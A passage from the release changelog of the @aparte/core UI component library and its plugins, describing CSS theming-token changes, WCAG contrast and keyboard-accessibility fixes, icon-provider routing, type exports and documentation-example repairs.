<aparte-icon name="copy">, and SVG is 0% of the markup that page publishes, against 22% before.<button class="aparte-btn aparte-btn--icon" aria-label="Copy"><aparte-icon name="copy"></aparte-icon></button>It routes through
getIcon, so it is not a second icon mechanism — it is a markup entrance to the one that exists. Register a provider and every<aparte-icon>follows, including ones mounted before the provider was set.Why an element and not CSS classes. A
mask-imageclass would need no JavaScript, and that is genuinely attractive — but it cannot consult the icon provider, so a consumer who swapped the set would get theirs where core draws and ours where they wrote a class: the exact inconsistency this closes, moved elsewhere. A masked icon is also painted by abackground, which forced-colors mode drops, while an inline SVG oncurrentColorsurvives — the same argumentmenu.cssalready makes for its checkmark. Weight was not the deciding factor: 25 encoded glyphs are ~7 kB against the stylesheet’s 263 kB.The cost, stated: the 25 glyph names become public API.
expand,copy,nextBranchwere internal identifiers; renaming one now breaks a consumer’s markup.An unknown name draws nothing rather than printing
undefined, and the glyph isaria-hidden— when the icon is a button’s only content, name the button.@aparte/core -
a2274be: Every intent has a named ink, and core works it out when you do not.
What was wrong.
--aparte-on-intent: #14100awas a hex chosen by measuring against THIS repo’s own intent fills, and every solid button, badge and checkbox took its label colour from it. That made core’s rendering depend on core’s palette, in a library whose premise is that consumers bring their own. The theming guide teaches an eight-line rebrand and<aparte-chat style="--aparte-primary: …">and named that token in neither, so a dark brand colour got near-black on it and no signal — 1.11:1 measured on a navy#1a1a2e, 1.83:1 on slate#334155.It was broken on the stock palette too. Escaping the constant needed a per-intent exception and
--neutralhad one, a hardcoded white copied into three sheets. It was pinned while the fill flips with the theme (#6d6479→#a89bb6), so in dark mode the neutral solid button’s label, the neutral badge’s text and the neutral checkbox’s checkmark all shipped at 2.62:1. Nothing measured it.The contract is now a pair per intent, and a theme declares whichever half it has an opinion about:
--aparte-primary / --aparte-on-primary --aparte-info / --aparte-on-info--aparte-secondary / --aparte-on-secondary --aparte-success / --aparte-on-success--aparte-neutral / --aparte-on-neutral --aparte-warning / --aparte-on-warning--aparte-error / --aparte-on-errorNone of the seven
--aparte-on-*ships declared. An undeclared partner means “work it out”, and each recipe derives the ink from its own fill — keep the hue, drop the chroma to a trace, pick lightness either side of--aparte-ink-flip. Declare one and it wins for every control using that intent. The shape shadcn uses, with Bootstrap’s computed default behind it; this repo had borrowed Material’son-*naming and backed it with a constant.Measured in a browser on the built stylesheet: 42 of 42 control/intent/theme combinations clear AA, where
neutralin dark read 2.62. The derivation also matches or beats the old hand-picked value on every fill this palette declares.- Removed:
--aparte-on-primary’s hardcoded#ffffff. The name stays as the pair partner — undeclared, so it derives. Its only readers were the three--neutralrules, and it was separately documented on<aparte-composer-send>as the send icon’s colour, which that button never read. - Added:
--aparte-ink-flip(0.57) and--aparte-ink-dark(0.176) — how the computed default behaves, one knob each for every solid control.--aparte-derived-inkexposes the computed value itself. - Kept:
--aparte-on-intent, now only the fallback for a browser without relative colour syntax (Firefox before 128), reached through@supports— a custom property does not fall back on an unparsable value the way a real property does.
The theming guide now documents the pairs, which is the half that made the original defect invisible: the mechanism existed and nothing told a consumer it was theirs to set.
@aparte/core - Removed:
-
aaf8d5c: A neutral UI layer: ready-made classes for every native HTML control, plus the display and surface primitives a UI library is expected to have.
The layer is NEUTRAL on purpose — it is what a UI library offers, not a summary of what this repo uses. A variant nothing wears still ships, because the plugin that needs it is not written yet, and its absence is what makes an author invent a seventh shade of orange.
The button, rebuilt on two axes
An intent says which colour a button means; a fill says what to do with that colour. Seven intents (primary, secondary, neutral, info, success, warning, danger) times five fills (ghost, solid, outline, soft, surface) is thirty-five buttons out of twelve classes, and every combination works because neither axis knows about the other.
<button class="aparte-btn aparte-btn--primary aparte-btn--solid">Send</button><button class="aparte-btn aparte-btn--danger aparte-btn--outline">Delete</button>Plus
--icon,--pill,--circle,--block, three sizes, six states (hover, active, focus-visible, disabled, toggled viaaria-expanded/aria-pressed, busy viaaria-busy), and.aparte-btn-groupwith logical joined corners.Text on a solid fill is INK, not white — measured on every intent this palette declares: ink wins on six of seven (warning 7.49 against 2.15, success 6.34 against 2.54), white only on neutral. Three intents reach neither 4.5 with either colour (primary 4.46, info 4.37, danger 4.27); that is the palette’s mid-luminance, and it is worth knowing before you put a normal-size label on a solid button.
Three new sheets
field.css— the shared text-entry recipe on<input>,<textarea>and<select>, with sizes, a prefix/suffix group, and invalid viaaria-invalidrather than:invalidalone (which fires before the user has typed). Checkbox, radio, switch and range, each carrying the intent axis. Label, hint, error, required marker, fieldset. And the five native controls that were missing: colour, the date and time family,<meter>(its three bands take the three status colours),<output>, and a standalone.aparte-link.display.css— badge (intents × solid/soft/outline, plus--dot), removable tag, avatar and avatar group, spinner, progress, skeleton, divider, alert, card,<kbd>.surface.css— tabs, accordion, menu, popover, tooltip. No dialog, drawer or toast: those need a portal and a stack manager, and belong to the consuming application.Two things the guard learned
A component may parameterise itself.
.aparte-btndeclaring--aparte-btn-intentis not the failure the guard watches for — that failure is a theme token derived once on:root, which then cannot follow a palette a subtree overrides. The exemption is narrow: the name must be prefixed by the component the selector names.A component-scoped declaration is not a default.
--aparte-spinner-sizewas declared on.aparte-spinneralone, and the single-owner rule then flagged the fallback that<aparte-progress-spinner>— which does not wear that class — was relying on. Removing it collapsed the element toauto. The rule now only forbids a fallback on a token declared where every element can resolve it.Measured
391 tokens declared and no dangling reference; the fifteen sheets balanced; 22 rendered families all styled; the tooltip and the layered shadows verified to flip with the dark theme.
dist/index.cssgoes from 135 kB to 219 kB — the new layer is 84 kB, which is worth knowing for a consumer who only wants the chat.@aparte/core -
9a1471e: The scroll-to-bottom button is
aparte-btn--lg aparte-btn--circleand stops redrawing what that already means.Its 36px box is exactly
--aparte-btn-size-lg, so naming the size gives it the box, the round corner and a 20px glyph for free — the arrow was 16px in a 36px circle, 44% of its box where the rest of the library reads at ~57%.Removed:
--aparte-scroll-btn-bg,--aparte-scroll-btn-hover-bg,--aparte-scroll-btn-colorand--aparte-scroll-btn-border. Each resolved to exactly whataparte-btn--surfacealready applies (var(--aparte-surface-1),var(--aparte-surface-2),var(--aparte-text),var(--aparte-border)) — four names for one thing. Rendering is byte-identical in both themes; measured. To restyle the button, target.aparte-scroll-btndirectly, which light DOM has always allowed.--aparte-scroll-btn-sizeand--aparte-scroll-btn-shadowstay: they are the two things the recipe has no word for.Also fixed: a consumer’s custom bubble action button rendered without the button recipe, so it had no focus ring, no hover and no padding reset. Three dead CSS rules for
aparte-composer-dictate— an element that has never existed — are gone. And<aparte-progress-spinner>’s--aparte-spinner-sizewas documented as 14px when it has always been 16.@aparte/core -
a8804ee: Five segment types that were public in everything but name are now exported.
AparteSegmentis exported and its union names all eight members, yet two of them could not be written down: narrowing ontype: 'error'gave a consumer the shape and no way to declare a variable of it.AparteErrorSegmentandApartePipelineWaitingSegmentare exported now — the second was reachable from no barrel at all, not even the internal one.AparteSegmentBaseis the worse omission, because it is not an omission from a list: it is the CONSTRAINT on the exportedAparteSegmentRenderer<T>. Writing a renderer for a segment type of your own means declaringMyType extends AparteSegmentBase, and the package did not export the name.AparteSegmentTimingtypesmeta.aparte, which the customization guide already described as “still typed” while it was unnameable;AparteSegmentDefaultstypes whatsetSegmentDefaults()takes, and both are exported too.All five are exported from the SSR barrel too — a type has no DOM, and TypeScript resolves
typesunder thenodecondition, so exporting them from the browser barrel alone would have compiled for everyone except an SSR consumer.No shape changed. This is the barrels catching up with what the types already said.
@aparte/core -
45a1083: Three pairs of tokens holding one value, and two rules written twice.
The elicitation panel and the conversation item were outside the systems. Their sizes were literals off every step —
0.76,0.78,0.8,0.82rem— and the same7px 10pxpadding was written under two names. Eleven tokens now derive: sizes land on the type scale, the padding on the spacing scale. Measured in a browser across both themes: six values move, the largest by 0.48px. The point is not the pixels — it is that these two panels now follow--aparte-font-scaleand--aparte-space-unit, which they did not.--aparte-input-container-min-heightwas44pxbeside--aparte-touch-target-size: 44px. The input’s minimum height IS the touch target, so it reads it now.Two artifact segments shared one card shell, written twice — nine identical declarations on
.aparte-segment-artifact-cardand.aparte-segment-artifact-file. One rule, two selectors. Checked before merging: nothing between the two positions targets either, so the cascade is unchanged.aparte-model-selectorand.aparte-model-selectordeclared the same three properties in two rules. The class is the hook for an app that lays out its own selector, and it had drifted in one respect already:[hidden]covered the element only, so a hidden wrapper carrying the class stayed laid out. Both are grouped, and[hidden]now covers both.Looked at and deliberately left
cursor: not-allowed; opacity: var(--aparte-disabled-opacity)appears on six selectors across two files. The value that could drift is already a token; what repeats iscursor: not-allowed, which cannot. Grouping six selectors across two files would move rules through the cascade for no protection.Three token pairs that look like duplicates and are not, measured rather than assumed:
--aparte-neutraland--aparte-text-mutedare equal in light and diverge in dark (#6d6479vs#a89bb6), so merging them would break the dark theme;--aparte-text-inverseequals the lightest surface in light and the darkest ground in dark, which is one coherent idea — “the opposite pole” — not a copy; and--aparte-surface-3equals--aparte-borderin dark, which paints nothing wrong because no element with asurface-3background carries a border.@aparte/core -
73238ac: The question-receipt’s classes stop leaking onto your page.
BREAKING for themes of this plugin: eight names change.
The plugin styled and emitted seven UNPREFIXED classes. Core renders into the light DOM — no shadow root, no
::part()— so an unprefixed rule in a package a consumer imports is a global rule on their page..segmentis the worst of them: it is Semantic UI’s own base class, and CLAUDE.md already names it as a known collision. The same package’s other renderer was writingaparte-segmentcorrectly, so the two disagreed with each other.before after .segment.aparte-segment.seg-qreceipt.aparte-question-receipt.seg-qreceipt-group.aparte-question-receipt__group.seg-qreceipt--declined.aparte-question-receipt--declined.qr-question.aparte-question-receipt__question.qr-answer.aparte-question-receipt__answer.qr-sep.aparte-question-receipt__sep.qr-declined.aparte-question-receipt__answer--declined@keyframes qr-appear@keyframes aparte-question-receipt-appearThe keyframes name is in the table for the same reason as the classes: animation names live in one global namespace too, so
qr-appearwas one@keyframesaway from a consumer’s own.@aparte/plugin-ask-user
Patch Changes
-
1dff98c: The approval panel’s options and the elicitation panel’s checkboxes and radios now use core’s own recipes instead of styling themselves.
An approval option is
aparte-btn aparte-btn--block aparte-btn--surface. It used to carry the button recipe AND a boxed.aparte-field-choice, which is a different thing — a choice row is a value you pick and then submit, an approval settles on the click — and, being two single-class selectors, the two sets of padding/border/radius were separated only by import order. Long labels now wrap instead of being held on one line.The 2px coloured edge on
--affirm/--denyis gone, along with--aparte-approval-accent-width. A coloured rule is an alert’s vocabulary, not a control’s. Colouring the fills instead was measured and is worse: solid success gives 2.19:1 on the dark palette. The two classes stay on the element and carry no CSS — they name the meaning for anyone restyling the panel.The option controls are
.aparte-checkbox/.aparte-radio. They were native inputs tinted withaccent-color, so they were the one part of the library the browser drew itself — a light-mode UA put a pale box on a dark row.--aparte-elic-control-sizestill sizes them.@aparte/core -
b011416: Fixed:
_meta.artifactHintdid nothing on a non-streaming reply.The hint promotes a reply’s first code fence to an artifact. The streaming path applies it twice — as the fence closes, and again at finalize — and the path for a transport whose
chat()resolves a plain string applied it never. The same reply therefore renderedtext | code | textthrough core’s inline loop andtext | artifact | textthrough the engine seam: one response, two products, decided by which transport happened to be wired.That is the class of defect the engine parity suite exists to prevent, and it missed this one because it never pairs a hint with a plain-string reply. Two tests now do.
@aparte/core -
7d11d0b: Fixed: the artifact card’s primary button failed WCAG AA on its own label.
.aparte-art-file__btn--primaryre-declared the fill, the border and the ink thataparte-btn--primary aparte-btn--solidalready paints. Five of those declarations were inert duplicates; the sixth was not.color: var(--aparte-text-inverse)overrode--aparte-btn-on-intent, which the recipe derives from the fill — measured in a browser on the built stylesheet, 3.54:1 against the recipe’s 5.27:1 in the light theme. It was also the last rule instyles/forcing--aparte-text-inverseas ink on a coloured fill, so a one-attribute rebrand re-derived the ink on every other solid-primary button and, here alone, kept core’s own palette.@aparte/core -
e06d254: The tail of the cold audit: four smaller things, each verified before it was touched.
The streaming dot announced nothing. The artifact card’s pulse was a
<span>witharia-label="Streaming"— an ARIA-prohibited attribute on an implicitgenericrole, dropped by Chromium and Firefox, and hardcoded English in a card whose own comment claims every string was given a locale key. It isrole="img"witht('generating')now, the key whose documentation already says it names the waiting state.The reference published six overrides as defaults.
gen-css-varsmatched:rootwith leading whitespace, so the block nested insideresponsive.css’s@media (prefers-reduced-motion: reduce)was read as another declaration block: every duration appeared twice, the second time claiming a default of0.01ms, under an unrelated heading. Top-level only now — a nested block is an override, which is why the dark theme’s is skipped.<aparte-progress-spinner>could not be stopped. Its rotation hardcoded0.9sinstead of reading--aparte-duration-spin, so it ignored the reduced-motion reset that overrides that token. It turns very slightly faster now (0.7s), which is the price of stopping when asked.Two guides contradicted the code. The elicitation guide’s presenter table omitted
onSettle— the only path by which a single-choice answer reaches you — and gavemode()two values out of three, missing'none'. The accessibility guide, on a page that states “where a number appears, it was counted”, claimed the axe suite runs against “all five example apps in Chromium, Firefox and WebKit”; there are seven apps, WebKit covers five and Firefox two.@aparte/core -
67d8e6b: Two the recipe sweeps missed.
The badge’s label was the fill.
--aparte-badge-on-intentanswers what ink sits ON a solid fill, and it is derived correctly — but base,--softand--outlinepaint the label with the raw--aparte-badge-intenton the PAGE background, which is a different question. A fill is chosen to be seen as an area; the same value as 12px text is not the same requirement, and on the light theme a soft warning badge came out at 1.75:1.button.csswas given--aparte-btn-intent-inkfor exactly this and the badge was not. Same name, same defaulting to the fill, so a custom--aparte-badge-intentstill works; the five accent inkstheme.cssalready derives now carry the label.--secondaryand--neutralset no ink here either, as inbutton.css.The spinner ignored
prefers-reduced-motion.--aparte-duration-spinwas the one duration missing from the reduced-motion reset, so.aparte-spinner, the loading glyph and the select’s spinner kept turning. The block’s own comment says it stops motion at the source for the elements the descendant sweep cannot reach; it now includes the duration all three of them read.@aparte/core -
94b87b7: The branch picker announces its move to a screen reader.
The arrows deliberately do not take focus — pressing
›should not steal the caret from wherever the reader was — so a live region is the only thing left to signal the change. There wasn’t one..aparte-sr-onlyexisted in the bubble, but inside the WAITING indicator, written only with the locale’s “typing” label, so a screen-reader user pressing next got a different answer with no indication that anything had happened..aparte-branch-statusis a polite live region carrying the position. It is separate from the visible.aparte-branch-labelon purpose: a customsetSiblingNavRenderermay replace that label with dots, which reads as nothing. No new locale key — the position is digits, and the two buttons beside it already carry translated labels.Found by a documentation audit, and the way it survived is worth recording: the accessibility guide described this behaviour as if it shipped. The sentence was true of the design and false of the code, which is the one kind of claim no test and no guard was ever going to catch.
@aparte/core -
705e847:
<aparte-chat-bubble>’s example now shows a branch.The element’s
@examplehad a plain bubble and a streaming one, and nothing with siblings — so the‹ 1 / 2 ›picker, which is what retry-forks-a-sibling produces and the whole subject of the branching guide, was never rendered anywhere on the docs site.setSiblings(count, index)is a METHOD, not an attribute, so no amount of markup could show it; the example needed the same small<script>the viewport, select and conversation-list examples already use.This is the source the docs read: the element page prints the example and its live preview runs that same string, so one addition gives both a picture of a branch.
@aparte/core -
682a837: A button’s size modifier now moves its icon with it.
--aparte-btn-icon-sizewas a fixed 16px, so the same glyph filled 80% of a--smbutton and 44% of a--lgone — which is no longer the same icon.--smand--lgnow set it too, from the icon scale, keeping every size at the--mdratio. The comment above that rule already claimed this (“sized with the button so the two axes stay in step”); it now does it..aparte-action-btnand.aparte-art-card__btncarriedaparte-btn--smAND a width/height of their own of 28px — which is the--mddefault the modifier was contradicting. They declare--aparte-btn-sizeinstead and drop the modifier, so their icons are unchanged at 16px. Genuinely small buttons (conversation actions, the attachment remove) go from a cramped 16px glyph to 12px.Note the limit: the icon follows the size MODIFIER, not the button’s pixel size. A component that sets
--aparte-btn-sizeon its own — the send button and the scroll-to-bottom button, both 36px — still gets the default 16px icon.@aparte/core -
ec309ab: The checkbox draws a checkmark, and a control sits on the line of text it labels.
The checkmark was a dot.
.aparte-checkbox:checked::aftersized itselfinline-size: 30%; block-size: 55%— and a percentage on a grid ITEM resolves against its track, whichplace-content: centeron the box collapses to the content’s own size. The content is an empty::after, so the track was zero and the mark computed to 0.59 × 1.09px: not a check, just the 2px corner where its two borders meet. Every checked checkbox the library has ever rendered showed that dot. The indeterminate dash had it worse — 55% of zero is zero, so it drew nothing at all. Both are nowcalc()of--aparte-checkbox-size(measured back: 5.39 × 9.89px).And they rode above their labels. Checkbox, radio and switch are
inline-grid/inline-flexboxes with no text inside, so their baseline is the bottom margin edge and a control next to a word sat high.vertical-align: middleon all three — the commonest way any of them is used, and it was never right.Found by looking at a rendered preview at 4×, then reading
getComputedStyle(el, '::after'). The rule reads correctly in the file, which is why passes over this sheet never caught it.Also in the class examples, which are rendered live on the reference page: the thumbnail row now runs large → base → small (it ran small → large), its image is a 2:3 portrait so
object-fit: coveris actually demonstrated, and the two choice controls sit one per line instead of colliding — with no.aparte-field-choicewrapper, which drew a full-width brass box around each row when checked.@aparte/core -
1d336d1: The two disclosure chevrons are the icon set’s glyph instead of a hand-drawn CSS triangle.
The tool-call summary and
<aparte-optgroup>each drew their arrow with a zero-size box and four borders. That is not a style choice, it is a second icon mechanism:expandalready exists inglyphs.ts, and a consumer who registers an icon provider replaced every other arrow in the library while these two stayed put. They now rendergetIcon('expand')like the rest, so the provider reaches them, and the open state rotates 180° rather than 90° because a chevron and a triangle do not turn the same way.@aparte/core -
f0b9141:
<aparte-composer>’ssetValue()now reaches the editor, so it prefills the visible field instead of only staging what a send would submit.It used to do half of what its name says.
<aparte-composer-input>listened for the composer’s value but acted on the empty string alone —if (value === '' && …)— socomposer.setValue('draft')changed whatsubmit()would send while the field went on showing whatever was there. Worse, the value then vanished at the first keystroke, because every keystroke pushes the editor’s real content back up. The failure was silent and deferred: nothing appeared, nothing threw, and the staged text was gone by the time anyone noticed.Nothing in this repo relied on it — all five examples pair
setValue(text)with an immediatesubmit(), and that path is unchanged. The consumer it hurt is the one doing the obvious thing: a “reply with this template” button, a restored draft, a quoted citation.The
''special case is gone rather than widened. The listener now compares instead: a value the editor already holds is not written, which is why typing does not rewrite the DOM under the caret — the keystroke that just travelled up comes straight back equal. Everything else is applied, and the post-submit clear is simply the case where that value is''. Sending attachments with no text still writes nothing, since there was nothing to clear.The comparison is against
value.trim()becausegetValue()trims. Without that, a padded value never looks equal and the mirror back throughsetValuere-enters forever — removing the comparison in a sabotage run raisesMaximum call stack size exceeded, and the test that pins the caret behaviour fails on a destroyed<br>.@aparte/core -
1dff98c: Fixed: the approval panel’s options rendered as 44x44 squares with their labels spilling out of them.
The composer’s row sized its controls with
.aparte-composer-row button— a type selector, so it reached every<button>in the row, and a panel mounts inside that row. An undo rule inbase.cssused to cancel it for panel content, but both had the same specificity, so which one won came down to the order of two imports — and splitting the stylesheet into families flipped that order.The row now DECLARES
--aparte-btn-sizeinstead of restyling anything. A custom property inherits, so each of the composer’s own controls (all icon buttons) picks the size up, and content that is not an icon button never sees it. Both the type selector and its undo are gone..aparte-btngainedbox-sizing: border-box, which the type selector used to supply.If you set
--aparte-composer-control-size, it still wins over--aparte-send-btn-sizeinside the row exactly as documented — the send and action buttons read the row’s value first and their own second, rather than being out-specified.@aparte/core -
cbfc72e: Nine more class families show themselves, and tiles in a row line up.
The CSS classes reference had 10 live examples across 37 sheets. Nine of the ten Display families — avatar, tag, spinner, progress, skeleton, divider, alert, card, kbd — reached the page as a list of class names and nothing else: a reader could learn that
.aparte-skeleton--textexists and never see what it looks like. Each now carries a markup example in its sheet header, which is what the generator lifts into both the live frame and the code block beside it. 10 → 19.The examples are written to exercise the thing the family is for: the avatar at three sizes plus a group, the progress bar determinate and indeterminate, the skeleton as a real loading block (circle, two lines, a rect), the alert with and without a title and dismiss. Every glyph is core’s own, verbatim from
src/icons/glyphs.ts.Twenty-seven sheets still have no example and that is correct:
theme.cssdeclares tokens,base.cssholds keyframes,responsive.cssholds media queries, and the segment / component / primitive sheets style elements that already have their own generated preview pages. The classes page covers three groups — Controls, Display, Surfaces — and those are now complete.Also:
.aparte-thumbnailgainsvertical-align: top. Tiles of different sizes in one row aligned on the baseline, so a large tile beside two small ones pushed the small ones down and the row read as three unrelated things. An attachment strip mixes sizes by nature, so it is the common case.@aparte/core -
4b80eab: Fixed:
setIconProviderdid not reach six of the glyphs core draws.The conversation row’s archive tray and delete cross, the select’s chevron, the attachment thumbnail’s remove button and the artifact card’s download arrow imported their glyph straight from
icons/glyphs.js. A consumer who registered a provider got most of the library restyled and those left behind — andarchive,unarchiveanddownloadwere keys the provider type has always offered with no reader anywhere in the repo. Inartifact/card.tsthe two sat one line apart:getIcon('copy')above, a hardcoded glyph below.icons/glyphs.jsis now imported by exactly one file,config/icon-provider.ts, which is what keeps this true rather than a promise to remember.Two dead fallbacks went with them:
getIcon()returns the built-in glyph for any known key, sogetIcon('paperclip') || this._defaultIcon()andscrollIcon || scrollDownIconcould never take their right-hand side. They read as a safety net that was not there.@aparte/core -
0d68e65: The examples in the docs’ live frames render something.
Nine previews on the generated reference pages were empty, half-empty or nonsense, and they were all the same defect: an example written to be READ, rendered as a DEMO.
Eight of them contained a literal
…as placeholder prose —<svg class="aparte-icon" viewBox="0 0 24 24">…</svg>,<button class="aparte-btn aparte-btn--icon">…</button>, and six more. That reads perfectly as “your content here” in a code block. Lifted verbatim into the live iframe beside it, it draws nothing:/preview/class/icon/was a completely blank frame, the thumbnail preview an empty box next to a box containing three dots.The ninth was
<aparte-chat>, whose@exampleshowed the element’s two forms — default and hand-composed — one after the other, each atheight: 600px. Every element-own example is concatenated into ONE frame, so the flagship element’s page rendered two empty chats with 600px of nothing between them. It is now one chat, 320px, seeded with a real exchange; the hand-composed form moved into the class prose as a fenced block, where it is read and not mounted.The invariant that caused this is deliberate and stays: the frame and the code block read the same string, so a demo can never drift from the example above it. What changes is that the examples are now written for both readers at once.
Found by photographing all 29
/preview/*routes and looking at them.@aparte/core -
2bf55e1: Three elements now document themselves with markup that runs, and one no longer shows Angular syntax in an HTML block.
<aparte-composer>had no@exampleat all — the only element of the eighteen without one — so its reference page opened on an element that “renders nothing of its own, no default children” and never showed the markup that makes it a composer. It has the canonical shell/row/input/send now.<aparte-chat-viewport>and<aparte-conversation-list>documented themselves only through an imperative TypeScript example. Both are elements you place in markup and then drive, so each gains an HTML example that does both: the tag, then a short script that seeds it. The TypeScript examples stay — they were not the problem, they were half the answer.<aparte-composer-action>’s example was(click)="onFavourite()"inside a block the reference renders as HTML. That is Angular’s binding syntax, valid in exactly one of the five framework targets and invalid HTML in all of them; the element’s real event isaparte-action-click, and it bubbles, so the example now listens for it the way any framework-free page would. It also sits inside an<aparte-composer>now, because the element resolves its context withclosest('aparte-composer')and does nothing outside one.These examples are what the documentation site’s live preview renders, so an example that stops working is now a visibly broken demo rather than prose no one re-reads. That caught one on the way in: a script calling
viewport.appendMessage()immediately after the tag runs before the element is upgraded, and threw.@aparte/core -
2ed3bc8: Fixed: a conversation row’s label fell below WCAG AA the moment you hovered it.
The row rests at
--aparte-text-muted, which is right on the shell’s ground. Hover moves the ground up to--aparte-surface-3and the muted ink stayed where it was: 4.23:1 in the light theme, computed from the two hexes — an AA failure on body text, on the one row the pointer is over. It takes the active colour on hover now, the same value the selected row already uses, which measures 12.13 light and 11.71 dark.@aparte/core -
95de449: Fixed:
@aparte/core/iconsshipped without types for consumers whose TypeScript resolves the classic way.tscmirrors the source tree, so a nested entry emitteddist/icons/index.d.tswhile Vite emitteddist/icons.jsbeside it. The package’sexportspointedtypesat the nested path and bothpublintandattwpassed on that — but a resolver that looks for a declaration file NEXT TO the JavaScript found none and fell back toany. The entry is flat now, sodist/icons.jsanddist/icons.d.tsare siblings and every resolution mode agrees.Caught by the docs’ own snippet check, which typechecks every code fence: it is such a consumer.
@aparte/core -
a574dfa: The light theme’s status colours failed WCAG AA wherever they were TEXT, and the dark theme’s solid buttons failed worse.
Two defects, one cause: a colour was doing two jobs.
The intent as text.
--aparte-primary,--aparte-info,--aparte-success,--aparte-warningand--aparte-errorwere both the FILL of a solid button or a badge and the TEXT colour of every ghost, outline and soft button, the tool-call status, the field error, and--aparte-link-color— so every link core renders. Read as text on--aparte-bgin the light theme they measure 3.23, 3.29, 2.27, 1.92 and 3.37 against the 4.5:1 AA asks of body text.An accent gains contrast by moving AWAY from its background — down on a light ground, up on a dark one — so one value cannot serve both themes. Five
--aparte-*-inktokens now carry the text role, per theme, and the recipes read them: the button’s new--aparte-btn-intent-inkdefaults to the fill, so a consumer who sets only--aparte-btn-intentis unaffected. Outline keeps the FILL on its border, which is not text and clears the 3:1 it has to.The ink on a fill.
--aparte-btn-inkwasvar(--aparte-text), which is near-black on light and near-WHITE on dark.button.csshad measured white against every intent and rejected it in a comment — and the dark theme was silently getting it anyway. The solid primary button read at 1.96:1, a success badge at 2.19, and the checkbox’s checkmark the same.--aparte-on-intent: #14100ais now fixed rather than theme-flipped, because the fills are mid-to-bright in BOTH themes; it measures 5.04 to 8.82 across the five.--aparte-on-primarystays white forneutral, the one intent dark enough to want it.Found by running axe over the docs site’s live component previews. Verified the same way: 17 page/theme pairs, from 63 contrast violations to zero.
--aparte-primaryitself is unchanged — it is the brand colour, and the icon tints that read it clear the 3:1 a graphic has to.@aparte/core -
7f4e396: Fixed: the keyboard could not archive or delete a conversation — both keys selected it.
<aparte-conversation-list>’s row is arole="button"div, so the component supplies Enter and Space for it. That handler climbed toclosest('[data-conv-id]')from whatever was focused, so a press on the Archive or Delete button inside the row found the ROW, calledpreventDefault()— cancelling the button’s own activation — and clicked the row. Both controls were reachable by Tab and neither could be operated: WCAG 2.1.1, on the two destructive actions in the list.The synthetic activation now stays on the one element that has no native one. An earlier fix had given both buttons
tabindex="0"and a test asserting it; focusable is not operable, and that test only ever proved the first half. It proves both now.@aparte/core -
9a1471e: Fixed: ten documented
@csspropknobs did nothing.When a component stopped drawing its own radius or colour and let
.aparte-btn/.aparte-fielddraw it, the component’s own token lost its last reader — and stayed in the JSDoc, so each component’s generated page kept listing it. Setting--aparte-radius-send-btn,--aparte-radius-action-btn,--aparte-conv-delete-radius,--aparte-conv-archive-radius,--aparte-elic-input-radius,--aparte-elic-step-underline,--aparte-action-bar-btn-color,--aparte-branch-picker-btn-color,--aparte-thumb-remove-bgor--aparte-thumb-remove-colorhad no effect. Each now feeds the recipe that draws it, so all ten work again and the values they name are back — the conversation and composer action buttons return to their documented 4px corner.One of them was a visible regression, not just a dead knob: the attachment remove button had lost its dark scrim and its white glyph, leaving a muted ✕ directly on the picture, invisible over anything light.
.aparte-fieldgained--aparte-field-radius. It was the only recipe that hardcoded its corner while every sibling names it, so a field could not be re-cornered from its own element the way a button or a tag can.check:derived-varsnow refuses a@csspropthat no stylesheet reads. That is the rule that would have caught all ten the day they broke.@aparte/core -
61e40da: The custom-elements manifest now describes every public method, and stops describing three that do not exist.
package.jsonpointscustomElementsatdist/custom-elements.jsonandfilesshipsdist, so this file is not a docs-site input — it is what feeds editor autocomplete in a consumer’s project. Two defects were measured in it, and both reached everyone:-
16 of 73 public methods carried no description at all — the whole imperative surface of
<aparte-composer>(setValue,addAttachments,removeAttachment,clearAttachments), all five public methods of<aparte-composer-input>, and<aparte-chat-viewport>’sgetMessages. They are now documented; the count is zero. -
Overloaded methods shipped their implementation signature as if it were API. A TypeScript overload is N declarations plus one implementation, and the analyzer emitted all of them:
addSegmentappeared three times, the third beingaddSegment(messageIdOrSegment: string | AparteSegment, maybeSegment?: AparteSegment)— a form no consumer may call, since its only job is to accept the other two. A new analyzer plugin drops the implementation and copies the docblock (which TypeScript accepts only on the overload declarations) onto the sibling forms, so both real calling conventions are documented instead of one documented and one blank.
One behaviour is written down for the first time rather than changed:
getMessages()returns the messages on the active path, root → head — not the whole tree, which is whatexportTree()returns.No runtime code changed by this entry.
@aparte/core -
-
b7f5bab: Three leftovers in
segment/tool-call.cssandcomponents/composer.css: afont-sizeon.aparte-tool-statedeclared a second time thirty lines below the first, a comment pasted twice verbatim, a reference to a rule that had moved to another sheet, andaparte-composer-attachmentsdeclared as two rules fifteen lines apart repeatingdisplay/flex-wrap/gapat identical values. Nothing rendered differently — the later block simply owned those properties, so editing the earlier one changed nothing. One rule each now.@aparte/core -
5cfb818: One rotation, and every stylesheet in one place.
The library had four keyframes for a 360° turn:
aparte-spinner-spin,aparte-spinandaparte-icon-spinwere byte-identical, andtool-spinwas used by nothing at all — and, being unprefixed, could have shadowed a rule of the same name on your own page. There is one now,aparte-spin, next toaparte-pulseinbase.csswhere they are used.aparte-spinner-rotatestays separate on purpose: it starts at -90° because an SVG arc’s zero is at three o’clock, so it is a different curve rather than a differently-named copy.select.cssandprogress-spinner.cssmove fromsrc/primitives/*/intosrc/styles/primitives/, where every other sheet lives. No selector they carry appears in any other sheet, and their rendering is unchanged — measured before and after.check:derived-varsgained two rules, both sabotage-verified: everyanimationnames a keyframe that exists (nothing declaredaparte-icon-spin, so core’s loading icon simply sat still, with no error anywhere), none is declared twice, none is dead, and all are prefixed. Andstyles/bundle.css— the source variant of the./styles.cssexport, the one list that cannot derive itself because a bundler reads it — must matchsrc/index.tsimport for import. It had already fallen a sheet behind.@aparte/core -
e50ca32: The elicitation panel’s “Other…” row lines up with the options above it.
It is a choice row and was missing
aparte-field-choice, the recipe every sibling row carries — so it had nodisplay: flexand its control stacked ABOVE its own label while the options above it sat inline. It had no focus outline either, for the same reason: the recipe carries that too.Visible in a question with the free-text escape enabled, which is the default. Found by looking at a screenshot of the running panel, not by reading the code.
@aparte/core -
c236992: Fixed: every package accepted a
@aparte/coreit cannot actually work with.All fourteen declared
"@aparte/core": ">=0.7.0 <1.0.0"while sitting at 0.12.1 and importing symbols core does not export before 0.11.0 (AparteElementAttributes,AparteTemplateAttrs,AparteElementTagName) or before 0.12.0 (AparteUiEventName) — read fromsrc/index.tsat each release tag, not inferred. npm and pnpm both ACCEPT@aparte/react@0.12.1beside@aparte/core@0.7.0, say nothing, and hand you a tree whose types cannot compile.These packages are published in lockstep and are never tested apart, so the floor is the release. It now says so, and
